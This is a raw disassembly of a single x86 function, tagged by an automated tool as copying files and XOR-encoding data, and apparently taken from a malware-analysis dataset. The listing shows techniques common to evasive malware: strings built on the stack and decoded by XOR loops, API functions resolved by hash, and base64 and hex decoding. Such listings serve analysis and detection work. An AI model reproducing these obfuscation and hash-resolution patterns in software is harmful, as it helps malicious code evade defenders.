Function at 0x427ccb
Capabilities:
Copy file
Encode data using xor

Disassembly:
movzx eax, byte [edx + 1]
inc edx
xor esi, esi
test al, al
mov dword [esp + 4], edx
je 0x4274c1
mov ecx, edx
cmp al, 0x2e
je 0x4274bf
movzx eax, byte [ecx + 1]
inc ecx
test al, al
jne 0x4274b0
jmp 0x4274c1
mov esi, ecx
xor eax, eax
test esi, esi
setne al
mov ecx, dword [esp + 4]
jmp dword [eax*4 + 0x447d14]
mov edx, esi
sub edx, ecx
lea ecx, [edx + edx*2]
shr ecx, 2
movzx eax, byte [esi - 1]
cmp eax, 0x3d
je 0x4274eb
cmp eax, 0x2e
jne 0x4274ec
dec ecx
mov eax, dword [esp + 4]
movzx eax, byte [eax + edx - 2]
cmp eax, 0x3d
mov dword [esp + 0x14], edx
je 0x427503
cmp eax, 0x2e
jne 0x427504
dec ecx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x3c], ecx
lea eax, [ecx + 1]
push eax
call fcn.004095a0
add esp, 4
mov dword [esp + 0x10], eax
cmp esi, dword [esp + 4]
je 0x42760c
xor edi, edi
mov ebp, 2
jmp 0x427542
lea eax, [ebp + 4]
add ebp, 2
mov edi, ebx
cmp ebp, ecx
mov ebp, eax
jae 0x42760c
mov esi, dword [esp + 4]
movzx eax, byte [esi + ebp - 2]
push eax
call fcn.0041e150
add esp, 4
mov ebx, eax
movzx eax, byte [esi + ebp - 1]
push eax
call fcn.0041e150
add esp, 4
shl bl, 2
mov ecx, eax
shr cl, 4
and cl, 3
or cl, bl
lea ebx, [edi + 1]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x20], edi
mov byte [edx + edi], cl
mov ecx, dword [esp + 0x14]
cmp ebp, ecx
jae 0x427530
mov byte [esp + 3], al
mov eax, dword [esp + 4]
movzx eax, byte [eax + ebp]
push eax
call fcn.0041e150
mov ecx, dword [esp + 0x18]
add esp, 4
cmp al, 0x40
je 0x427530
mov bh, byte [esp + 3]
shl bh, 4
mov byte [esp + 3], al
shr al, 2
and al, 0xf
or al, bh
mov esi, dword [esp + 0x20]
lea ebx, [esi + 2]
mov edx, dword [esp + 0x10]
mov byte [edx + esi + 1], al
lea eax, [ebp + 1]
cmp eax, ecx
jae 0x427530
mov eax, dword [esp + 4]
movzx eax, byte [eax + ebp + 1]
push eax
call fcn.0041e150
mov ecx, dword [esp + 0x18]
add esp, 4
cmp al, 0x40
movzx edx, byte [esp + 3]
je 0x427530
shl dl, 6
add al, dl
mov edx, dword [esp + 0x10]
mov ebx, dword [esp + 0x20]
mov byte [edx + ebx + 2], al
add ebx, 3
jmp 0x427530
mov eax, dword [esp + 0x3c]
mov esi, dword [esp + 0x10]
mov byte [esi + eax], 0
push esi
call fcn.00401000
add esp, 4
mov ebx, eax
jmp dword [0x447d1c]
push esi
call fcn.004095b0
add esp, 4
push ebx
call fcn.00401ac0
add esp, 4
xor ecx, ecx
test eax, eax
setne cl
mov ebp, dword [esp + 0x464]
mov esi, dword [esp + 8]
jmp dword [ecx*4 + 0x447d24]
jmp 0x427759
mov dword [esp + 0x24], 0x63c0f4f3
mov word [esp + 0x28], 0
mov esi, 0xe7
lea ebp, [esp + 0x24]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp]
lea ecx, [edx + edx]
not ecx
add ecx, edx
and ecx, 3
and edx, 0xfffffffc
or edx, ecx
lea edi, [esi - 0xe4]
and edi, 3
mov ecx, esi
and ecx, 0xe4
or ecx, 2
xor ecx, edi
xor ecx, edx
xor cl, 0xfe
add cl, 0x88
mov byte [ebp], cl
inc ebp
dec esi
cmp esi, 0xe1
jne case.default.0x4276d3
lea ecx, [esp + 0x24]
push ecx
push eax
call fcn.00401880
add esp, 8
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447d2c]
mov edx, dword [esp + 0xc]
mov esi, dword [esp + 8]
mov ebp, dword [esp + 0x464]
jmp 0x427730
movzx ecx, byte [eax]
test cl, cl
mov edx, dword [esp + 0xc]
je 0x42771d
inc eax
mov esi, dword [esp + 8]
mov ebp, dword [esp + 0x464]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [edx], cl
inc edx
movzx ecx, byte [eax]
inc eax
test cl, cl
jne 0x427710
jmp 0x427728
mov esi, dword [esp + 8]
mov ebp, dword [esp + 0x464]
mov word [edx], 0x203a
add edx, 2
movzx eax, byte [esp + 0x50]
test al, al
je 0x42774b
lea ecx, [esp + 0x51]
nop
nop
nop
mov byte [edx], al
inc edx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x427740
mov byte [edx], 0xa
inc edx
mov dword [esp + 0xc], edx
mov al, 1
mov dword [esp + 0x1c], eax
push ebx
call fcn.00402070
add esp, 4
mov ebx, dword [esp + 0x40]
add ebx, 4
xor eax, eax
cmp ebx, esi
setne al
lea edi, [esp + 0x50]
jmp dword [eax*4 + 0x447cec]
push dword [esp + 0x18]
call fcn.004095b0
add esp, 4
and bl, 1
mov edi, ebx
mov ebx, dword [esp + 0x44]
mov esi, dword [esp + 0x48]
test ebx, ebx
je 0x427887
push eax
sub esp, 0x18
mov eax, esp
sub esp, 0x54
mov ecx, esp
mov dword [eax], 0x51a04f87
mov dword [eax + 4], 0x55a653a5
mov dword [eax + 8], 0x59ba57b7
mov dword [eax + 0xc], 0x5d8a5bb4
mov dword [eax + 0x10], 0x61aa5fbf
mov dword [eax + 0x14], 0x65626388
mov dword [eax + 0x18], 0
xor edx, edx
nop
nop
nop
nop
mov edi, edx
xor edi, 0xf3
lea esi, [edx + edx]
mov ebx, esi
and ebx, 0x18
sub ebx, edi
xor bl, byte [eax + edx]
add bl, 0xbf
mov byte [eax + edx], bl
and esi, 2
xor edx, 1
add edx, esi
cmp edx, 0x1c
jb 0x4278f0
mov dword [ecx], 0xfd809e4
mov dword [ecx + 4], 0x3d90dc9
mov dword [ecx + 8], 0x7d101d9
mov dword [ecx + 0xc], 0x1bcc05d0
mov dword [ecx + 0x10], 0x1ff219f1
mov dword [ecx + 0x14], 0x13d31dc1
mov dword [ecx + 0x18], 0x17ce11d7
mov dword [ecx + 0x1c], 0x2bf815cd
mov dword [ecx + 0x20], 0x2fc229ed
mov dword [ecx + 0x24], 0x23f12dfb
mov dword [ecx + 0x28], 0x27f221fa
mov dword [ecx + 0x2c], 0x3bfb25cf
mov dword [ecx + 0x30], 0x3ffb39ee
mov dword [ecx + 0x34], 0x33d83dd0
mov dword [ecx + 0x38], 0x37ca31d1
mov dword [ecx + 0x3c], 0xcb2f35be
mov dword [ecx + 0x40], 0xcf19c924
mov dword [ecx + 0x44], 0xc327cd38
mov dword [ecx + 0x48], 0xc73bc121
mov word [ecx + 0x4c], 0xc5c4
mov dword [ecx + 0x4e], 0
xor edx, edx
nop
nop
nop
nop
nop
mov ebx, edx
add bl, 0x42
xor bl, byte [ecx + edx]
add bl, 0xb6
mov byte [ecx + edx], bl
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
cmp edx, 0x52
jb 0x4279b0
push eax
push ecx
call fcn.00438b10
add esp, 8
nop
nop
nop
nop
nop
nop
nop
nop
push eax
sub esp, 0x18
mov eax, esp
sub esp, 0x54
mov ecx, esp
sub esp, 0xc
mov dword [ebp - 0x18], esp
sub esp, 0x2c
mov dword [ebp - 0x10], esp
sub esp, 0x30
mov dword [ebp - 0x14], esp
push eax
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x24], esp
sub esp, 0x24
mov dword [ebp - 0x20], esp
sub esp, 0x40
mov dword [ebp - 0x40], esp
sub esp, 0x44
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x38], esp
sub esp, 8
mov dword [ebp - 0x54], esp
push eax
mov dword [ebp - 0x4c], esp
push eax
mov dword [ebp - 0x28], esp
sub esp, 0x24
mov dword [ebp - 0x34], esp
sub esp, 8
mov dword [ebp - 0x64], esp
sub esp, 8
mov dword [ebp - 0x74], esp
sub esp, 8
mov dword [ebp - 0x3c], esp
sub esp, 0x24
mov dword [ebp - 0x50], esp
mov dword [eax], 0x51a04f87
mov dword [eax + 4], 0x55a653a5
mov dword [eax + 8], 0x59ba57b7
mov dword [eax + 0xc], 0x5d8a5bb4
mov dword [eax + 0x10], 0x61aa5fbf
mov dword [eax + 0x14], 0x65626388
mov dword [eax + 0x18], 0
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
mov edi, edx
xor edi, 0xf3
lea esi, [edx + edx]
mov ebx, esi
and ebx, 0x18
sub ebx, edi
xor bl, byte [eax + edx]
add bl, 0xbf
mov byte [eax + edx], bl
and esi, 2
xor edx, 1
add edx, esi
cmp edx, 0x1c
jb 0x427a80
mov dword [ecx], 0xfd809e4
mov dword [ecx + 4], 0x3d90dc9
mov dword [ecx + 8], 0x7d101d9
mov dword [ecx + 0xc], 0x1bcc05d0
mov dword [ecx + 0x10], 0x1ff219f1
mov dword [ecx + 0x14], 0x13d31dc1
mov dword [ecx + 0x18], 0x17ce11d7
mov dword [ecx + 0x1c], 0x2bf815cd
mov dword [ecx + 0x20], 0x2fc229ed
mov dword [ecx + 0x24], 0x23f12dfb
mov dword [ecx + 0x28], 0x27f221fa
mov dword [ecx + 0x2c], 0x3bfb25cf
mov dword [ecx + 0x30], 0x3ffb39ee
mov dword [ecx + 0x34], 0x33d83dd0
mov dword [ecx + 0x38], 0x37ca31d1
mov dword [ecx + 0x3c], 0xcb2f35be
mov dword [ecx + 0x40], 0xcf19c924
mov dword [ecx + 0x44], 0xc327cd38
mov dword [ecx + 0x48], 0xc73bc121
mov word [ecx + 0x4c], 0xc5c4
mov dword [ecx + 0x4e], 0
xor edx, edx
nop
nop
nop
nop
nop
mov ebx, edx
add bl, 0x42
xor bl, byte [ecx + edx]
add bl, 0xb6
mov byte [ecx + edx], bl
mov esi, edx
and esi, 1
xor edx, 1
lea edx, [edx + esi*2]
cmp edx, 0x52
jb 0x427b40
push eax
push ecx
call fcn.00438b10
add esp, 8
jmp dword [0x447d48]
xor ecx, ecx
test eax, eax
sete cl
jmp dword [ecx*4 + 0x447d4c]
mov edx, dword [ebp - 0x18]
mov dword [edx + 8], 0
mov dword [edx + 4], 0
mov dword [edx], 0
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x427ba0
cmp ecx, 0xffffffd9
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
jge 0x427bc4
mov ecx, 0xffffffff
jmp 0x427bc7
xor eax, eax
jmp 0x4286bb
add ecx, 0x26
push ecx
call fcn.004095a0
add esp, 4
mov edi, eax
mov dword [esi], 0x9709993c
mov dword [esi + 4], 0x93009507
mov dword [esi + 8], 0x8f17910a
mov dword [esi + 0xc], 0x8b2e8d17
mov dword [esi + 0x10], 0x87158917
mov dword [esi + 0x14], 0x83188516
mov dword [esi + 0x18], 0xff658119
mov dword [esi + 0x1c], 0xfb70fdae
mov dword [esi + 0x20], 0xf76cf964
mov word [esi + 0x24], 0xf5f4
mov dword [esi + 0x26], 0
mov word [esi + 0x2a], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa6
xor cl, byte [esi + eax]
add cl, 0xc2
mov byte [esi + eax], cl
inc eax
cmp eax, 0x2c
jne 0x427c30
mov eax, dword [ebp - 0x30]
mov ebx, eax
movzx edx, word [eax]
mov ecx, edi
test dx, dx
je 0x427c71
mov eax, ebx
add eax, 2
mov ecx, edi
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [eax]
add eax, 2
test dx, dx
jne 0x427c60
mov word [ecx], 0
movzx edx, word [esi]
test dx, dx
je 0x427ca1
add esi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [esi]
add esi, 2
test dx, dx
jne 0x427c90
mov word [ecx], 0
jmp dword [0x447d54]
push ebx
call fcn.004095b0
add esp, 4
xor eax, eax
cmp word [edi], 0x2a
sete al
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
jmp dword [eax*4 + 0x447d5c]
xor eax, eax
cmp word [edi], 0x2a
sete al
mov esi, dword [ebp - 0x14]
mov ebx, dword [ebp - 0x18]
jmp dword [eax*4 + 0x447d5c]
jmp dword [0x447d68]
mov edx, dword [ebp - 0x34]
mov dword [edx], 0xabb4aacf
mov dword [edx + 4], 0x4654bca7
mov dword [edx + 8], 0x4b473b13
mov dword [edx + 0xc], 0x3c19405e
mov dword [edx + 0x10], 0x424f4c5c
mov dword [edx + 0x14], 0x41412a1f
mov dword [edx + 0x18], 0x43515442
mov dword [edx + 0x1c], 0x535d5433
mov dword [edx + 0x20], 0xf95d
mov eax, 0xc396cfa
mov ecx, 0x73c69305
movzx esi, byte [edx + eax - 0xc396cfa]
mov edi, ecx
or edi, esi
lea edx, [ecx - 0x73c69300]
and edx, esi
xor edx, edi
and edx, eax
lea edi, [ecx + edx*2]
add edi, 0x8c396d01
add edx, edx
not edx
add edx, eax
and edx, esi
not esi
and esi, edi
sub edx, esi
add dl, 0x1e
mov esi, dword [ebp - 0x34]
mov byte [esi + eax - 0xc396cfa], dl
mov edx, dword [ebp - 0x34]
inc eax
dec ecx
cmp eax, 0xc396d1e
jne 0x427d32
mov ecx, dword [ebp - 0x30]
push edx
call fcn.0042a520
xor ecx, ecx
test eax, eax
setne cl
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x10], edx
xor edx, edx
jmp dword [ecx*4 + 0x447e2c]
add eax, 8
xor edx, edx
mov esi, dword [eax]
xor eax, eax
test esi, esi
setne al
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov ecx, esi
jmp dword [eax*4 + 0x447e34]
push dword [ebp - 0x34]
mov esi, edx
call fcn.004095b0
mov edx, esi
add esp, 4
mov ecx, dword [ebp - 0x40]
add ecx, 4
mov ecx, dword [ecx]
xor eax, eax
test ecx, ecx
setne al
jmp dword [eax*4 + 0x447e34]
mov eax, dword [ecx]
cmp dword [ecx + 0x18], 3
mov esi, 0
jne case.default.0x427e00
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x28], eax
test eax, eax
setne al
test esi, esi
setne cl
and cl, al
movzx eax, cl
jmp dword [eax*4 + 0x447e3c]
mov dword [ebp - 0x1c], edx
mov eax, esi
nop
nop
nop
nop
mov ecx, eax
inc eax
cmp byte [ecx], 0
jne case.default.0x427e39
sub ecx, esi
inc ecx
shr ecx, 1
mov dword [ebp - 0x24], ecx
lea eax, [ecx + 1]
push eax
call fcn.004095a0
add esp, 4
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov dword [ebp - 0x34], eax
jmp dword [edx*4 + 0x447e44]
inc esi
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
mov ebx, dword [ebp - 0x18]
jmp dword [edx*4 + 0x447e44]
lea edx, [ecx - 0x30]
cmp edx, 0xa
jb 0x427e65
mov edx, 0xffffffff
or ecx, 0x20
lea edi, [ecx - 0x61]
cmp edi, 6
jae case.default.0x427e80
add ecx, 0xffffffa9
mov edx, ecx
movsx ecx, byte [esi + 1]
xor ebx, ebx
test ecx, ecx
setne bl
jmp dword [ebx*4 + 0x447e4c]
lea edi, [ecx - 0x30]
cmp edi, 0xa
jb 0x427e94
mov edi, 0xffffffff
or ecx, 0x20
lea ebx, [ecx - 0x61]
cmp ebx, 6
jae case.default.0x427ebc
add ecx, 0xffffffa9
mov edi, ecx
mov ebx, dword [ebp - 0x18]
shl edx, 4
or edx, edi
add esi, 2
mov byte [eax], dl
inc eax
movsx ecx, byte [esi]
xor edx, edx
test ecx, ecx
setne dl
jmp dword [edx*4 + 0x447e44]
mov byte [eax], 0
push 0
push 0x10
push 0
push dword [ebp - 0x28]
call fcn.0042a720
add esp, 0x10
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], edx
mov ecx, dword [ebx]
mov eax, dword [ebx + 4]
xor esi, esi
xor edx, edx
mov dword [ebp - 0x38], eax
cmp ecx, eax
setne dl
mov eax, dword [case.0x428850.56]
jmp dword [edx*4 + 0x447e54]
mov esi, dword [ecx]
xor edx, edx
jmp dword [edx*4 + 0x447e74]
add ecx, 8
xor edx, edx
cmp ecx, dword [ebp - 0x38]
setne dl
jmp dword [edx*4 + 0x447e54]
mov edi, dword [ecx + 4]
mov edx, edi
shr edx, 0x1c
shl edi, 4
or edi, 1
xor edx, dword [ebp - 0x2c]
xor edi, dword [ebp - 0x28]
xor ebx, ebx
or edi, edx
sete bl
jmp dword [ebx*4 + 0x447e5c]
jmp eax
mov edx, 1
jmp dword [edx*4 + 0x447e74]
xor eax, eax
test esi, esi
setne al
jmp dword [eax*4 + 0x447e7c]
mov ebx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
jmp dword [0x447e8c]
mov eax, dword [ebp - 0x64]
mov ecx, dword [ebp - 0x24]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x34]
mov dword [eax + 4], ecx
mov eax, 0xffffffff
nop
nop
nop
nop
nop
cmp byte [esi + eax + 1], 0
lea eax, [eax + 1]
jne case.default.0x427fcb
mov edi, dword [ebp - 0x74]
mov dword [edi], eax
mov dword [edi + 4], esi
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0xe18a387a
push dword [0x44d3a4]
call fcn.0043f980
add esp, 8
push ebx
push 1
push 0
push 0
push edi
push 0
push dword [ebp - 0x64]
call eax
xor ecx, ecx
test eax, eax
setne cl
jmp dword [ecx*4 + 0x447e84]
mov ebx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
jmp dword [0x447e8c]
movzx eax, byte [esi]
test al, al
je 0x427ff9
inc esi
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x10]
mov byte [edx], al
inc edx
movzx eax, byte [esi]
inc esi
test al, al
jne 0x427fec
jmp 0x427fff
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x10]
mov word [edx], 0x203a
mov eax, edx
add eax, 2
mov esi, dword [ecx]
test esi, esi
je 0x428036
mov ecx, dword [ecx + 4]
mov edx, esi
and edx, 3
je 0x42803a
xor edi, edi
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + edi], bl
inc edi
cmp edx, edi
jne 0x42801b
add eax, edi
mov edx, esi
sub edx, edi
mov ebx, eax
jmp 0x42803c
mov ebx, eax
jmp 0x42807c
mov edx, esi
cmp esi, 4
jb 0x42807c
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 1], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
mov byte [eax + 2], bl
movzx ebx, byte [ecx]
cmp bl, 1
sbb ecx, 0xffffffff
lea esi, [eax + 4]
mov byte [eax + 3], bl
mov ebx, esi
mov eax, esi
add edx, 0xfffffffc
jne 0x428041
mov byte [ebx], 0xa
inc ebx
mov dword [ebp - 0x10], ebx
push 0xa7ffa4f5
push dword [0x44c38c]
call fcn.0043f980
add esp, 8
mov ecx, dword [ebp - 0x3c]
push dword [ecx + 4]
call eax
mov dl, 1
mov ebx, dword [ebp - 0x18]
jmp dword [0x447e8c]
push dword [ebp - 0x5c]
call fcn.004095b0
add esp, 4
mov eax, dword [esi]
mov dword [ebp - 0x48], 0xb4b58a8b
mov byte [ebp - 0x44], 0
mov ecx, 0x685cb91e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx - 0x685cb966]
xor edx, ecx
mov esi, edx
and esi, 0x69
xor edx, 0x69
lea edx, [edx + esi*2]
inc dl
mov byte [ebp + ecx - 0x685cb966], dl
inc ecx
cmp ecx, 0x685cb923
jne 0x4280d0
mov ecx, dword [0x44d398]
test ecx, ecx
je case.0x4276d3.19
mov edx, dword [ebp - 0x48]
xor esi, esi
mov edi, dword [0x44d39c]
cmp dword [edi + esi*8], 0x1b6183f2
je 0x428123
inc esi
cmp ecx, esi
jne 0x428110
jmp case.0x4276d3.19
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je case.0x4276d3.19
push eax
push 4
push ecx
push dword [0x44d3a0]
call fcn.0043dc10
add esp, 0x10
jmp dword [0x447dc4]
mov edx, dword [ebx]
mov ecx, dword [ebx + 4]
xor eax, eax
cmp edx, ecx
sete al
jmp dword [eax*4 + 0x447dcc]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x2c], ecx
mov esi, dword [ebp - 0x1c]
mov dword [esi], 0x13e6113d
mov dword [esi + 4], 0x1ffd1d8b
mov dword [esi + 8], 0x1b8e19f9
mov dword [esi + 0xc], 0x79605c5
mov dword [esi + 0x10], 0x3ce0190
mov dword [esi + 0x14], 0xf920ded
mov dword [esi + 0x18], 0xb2709e9
mov dword [esi + 0x1c], 0x37c535d0
mov dword [esi + 0x20], 0x33df31ac
mov dword [esi + 0x24], 0x3fab3ddd
mov dword [esi + 0x28], 0x3bae39dc
mov dword [esi + 0x2c], 0x27c525b3
mov dword [esi + 0x30], 0x23b621c1
mov dword [esi + 0x34], 0x2fb02dfa
mov dword [esi + 0x38], 0x2bc429c4
mov eax, esi
add eax, 0x3c
mov word [esi + 0x3c], 0xd5d4
mov dword [esi + 0x3e], 0
mov word [esi + 0x42], 0
mov ecx, 0x81ed2044
mov edx, 0x7e12dfbb
nop
nop
nop
movzx edi, byte [esi + ecx + 0x7e12dfbc]
mov ebx, ecx
and ebx, edi
add ebx, ebx
mov esi, ebx
xor esi, ecx
and ebx, edx
add ebx, ebx
sub ebx, esi
mov esi, edi
not esi
and esi, ebx
not ebx
and ebx, edi
sub ebx, esi
add bl, 0xac
mov esi, dword [ebp - 0x1c]
mov byte [esi + ecx + 0x7e12dfbc], bl
mov esi, dword [ebp - 0x1c]
inc ecx
dec edx
cmp ecx, 0x81ed2088
jne 0x4281f0
mov edx, dword [ebp - 0x40]
mov edi, edx
mov ecx, 0xf
xchg esi, esi
rep movsd dword es:[edi], dword [esi]
xchg esi, esi
mov edi, edx
add edi, 0x3c
mov ecx, 1
xchg esi, eax
rep movsw word es:[edi], word [esi]
xchg esi, eax
push dword [ebp - 0x38]
push 0
push 0
push 0x1e
push edx
push 0
call dword [0x44d394]
mov ebx, dword [ebp - 0x54]
mov dword [ebx], 0xb97a7b61
mov word [ebx + 4], 0
xor ecx, ecx
mov edx, ecx
and edx, 2
mov esi, ecx
or esi, 2
imul esi, edx
xor edx, 2
mov edi, ecx
and edi, 5
imul edi, edx
mov edx, ecx
xor edx, 0x9ddd943f
add edx, esi
add edx, edi
movzx esi, byte [ebx + ecx]
xor edx, esi
mov esi, edx
and esi, 0x44
xor edx, 0xc4
lea edx, [edx + esi*2]
inc dl
mov byte [ebx + ecx], dl
inc ecx
cmp ecx, 6
jne case.default.0x4282bf
xor ecx, ecx
cmp eax, dword [ebx]
setne cl
xor eax, eax
mov ebx, dword [ebp - 0x18]
jmp dword [ecx*4 + 0x447de4]
mov eax, dword [ebp - 0x38]
mov edi, dword [eax]
test edi, edi
jns 0x4282d6
mov eax, 0xffffffff
jmp 0x4282d9
lea eax, [edi + edi]
mov esi, dword [ebp - 0x50]
push eax
call fcn.004095a0
add esp, 4
push dword [ebp - 0x38]
push edi
push eax
push 0x1e
push dword [ebp - 0x40]
push 0
mov edi, eax
call dword [0x44d394]
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447dec]
xor eax, eax
jmp dword [0x447df4]
push edi
call fcn.004095b0
add esp, 4
xor eax, eax
jmp case.0x4282bf.0
mov edx, dword [ebp - 0x2c]
sub edx, dword [ebp - 0x14]
sar edx, 3
mov ecx, edx
and ecx, 0x421
mov eax, edx
or edx, 0x421
imul edx, ecx
xor ecx, 0x421
and eax, 0xfffffbde
imul eax, ecx
add edx, eax
push edx
call fcn.004095a0
add esp, 4
mov dword [ebp - 0x14], eax
push 0x60
push 3
push 0x120089
push dword [ebp - 0x4c]
mov dword [ebp - 0x54], edi
push edi
call fcn.00440400
add esp, 0x14
not eax
shr eax, 0x1f
jmp dword [eax*4 + 0x447dfc]
xor eax, eax
mov ecx, dword [case.0x428850.79]
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x10], edi
jmp case.0x428850.77
push 0
push dword [ebp - 0x28]
mov edi, dword [ebp - 0x4c]
push dword [edi]
call fcn.004407d0
add esp, 0xc
not eax
shr eax, 0x1f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
jmp dword [eax*4 + 0x447e04]
mov ebx, edi
jmp dword [0x447e0c]
mov eax, dword [ebp - 0x28]
mov esi, dword [eax]
mov eax, esi
or eax, 1
push eax
call fcn.004095a0
add esp, 4
push 0
push esi
push eax
push dword [ebx]
call fcn.004408e0
add esp, 0x10
mov eax, dword [ebp - 0x28]
mov esi, dword [eax]
lea eax, [esi + 1]
push eax
call fcn.004095a0
add esp, 4
mov edi, eax
push 0
push esi
mov esi, dword [ebp - 0x28]
push eax
push dword [ebx]
call fcn.004408e0
add esp, 0x10
jmp dword [0x447e14]
mov dword [ebp - 0x20], edi
not eax
shr eax, 0x1f
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
mov ebx, dword [ebp - 0x18]
jmp dword [eax*4 + 0x447e1c]
mov esi, dword [esi]
mov edi, dword [ebp - 0x20]
mov byte [edi + esi], 0
push 0x20
call fcn.004095a0
add esp, 4
mov dword [eax + 8], 0
mov dword [eax + 4], 0
mov dword [eax + 0x18], 0xffffffff
mov dword [eax + 0x14], 0
mov dword [eax + 0x10], 0
mov dword [eax], 0
mov dword [ebp - 0x30], eax
mov ecx, eax
push esi
push edi
call case.0x424f9d.372
movzx eax, al
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
jmp dword [eax*4 + 0x447e24]
mov dword [ebp - 0x1c], edx
mov esi, dword [ebp - 0x30]
jmp dword [0x447e94]
jmp dword [0x447ea0]
mov ecx, esi
call fcn.0042a680
push esi
call fcn.004095b0
add esp, 4
mov ecx, esi
call fcn.0042a680
push esi
call fcn.004095b0
add esp, 4
jmp dword [0x447ea4]
mov edi, dword [ebp - 0x4c]
jmp dword [0x447ebc]
push dword [ebp - 0x20]
call fcn.004095b0
add esp, 4
mov eax, dword [edi]
mov dword [ebp - 0x48], 0xb4b58a8b
mov byte [ebp - 0x44], 0
mov ecx, 0x685cb91e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx - 0x685cb966]
xor edx, ecx
mov esi, edx
and esi, 0x69
xor edx, 0x69
lea edx, [edx + esi*2]
inc dl
mov byte [ebp + ecx - 0x685cb966], dl
inc ecx
cmp ecx, 0x685cb923
jne 0x4284f0
mov ecx, dword [0x44d398]
test ecx, ecx
je 0x42855a
mov edx, dword [ebp - 0x48]
xor esi, esi
mov edi, dword [0x44d39c]
nop
nop
nop
nop
cmp dword [edi + esi*8], 0x1b6183f2
je 0x428540
inc esi
cmp ecx, esi
jne 0x428530
jmp 0x42855a
mov ecx, dword [edi + esi*8 + 4]
cmp ecx, edx
je 0x42855a
push eax
push 4
push ecx
push dword [0x44d3a0]
call fcn.0043dc10
add esp, 0x10
mov ecx, dword [case.0x428850.79]
mov esi, dword [ebp - 0x50]
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
nop
nop
nop
nop
nop
nop
nop
jmp ecx
jmp dword [0x447ed4]
push dword [ebp - 0x54]
mov edi, ebx
mov ebx, eax
call fcn.004095b0
mov eax, ebx
mov ebx, edi
mov edi, dword [ebp - 0x14]
add esp, 4
nop
nop
jmp dword [0x447ee4]
mov ecx, eax
and cl, 1
movzx ecx, cl
jmp dword [ecx*4 + 0x447eec]
jmp dword [0x447ef4]
mov eax, dword [ebp - 0x10]
mov byte [eax], 0
mov dword [esi], 0x83868959
mov dword [esi + 4], 0x9f738a8d
mov dword [esi + 8], 0x809c8289
mov dword [esi + 0xc], 0x9686625f
mov dword [esi + 0x10], 0x6b559c69
mov dword [esi + 0x14], 0x919f9297
mov dword [esi + 0x18], 0xb7b2538f
mov word [esi + 0x1c], 0x3db0
mov dword [esi + 0x1e], 0
mov byte [esi + 0x22], 0
mov eax, 0x6fd56886
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax - 0x6fd56886]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x62
mov byte [esi + eax - 0x6fd56886], cl
inc eax
cmp eax, 0x6fd568a9
jne 0x428600
mov eax, dword [ebp - 0x10]
sub eax, edi
mov ecx, dword [ebp + 8]
push eax
push edi
push esi
call fcn.0040a5a0
jmp dword [0x447ef4]
push edi
mov esi, eax
call fcn.004095b0
mov eax, esi
add esp, 4
and al, 1
mov ecx, dword [case.0x428850.19]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
jmp ecx
mov esi, dword [ebx]
test esi, esi
je 0x4286bb
mov edi, dword [ebx + 4]
cmp esi, edi
je 0x4286bb
mov dword [ebp - 0x1c], eax
mov ebx, esi
jmp 0x428687
add esi, 8
cmp esi, edi
je 0x428698
mov eax, dword [esi]
test eax, eax
je 0x428680
push eax
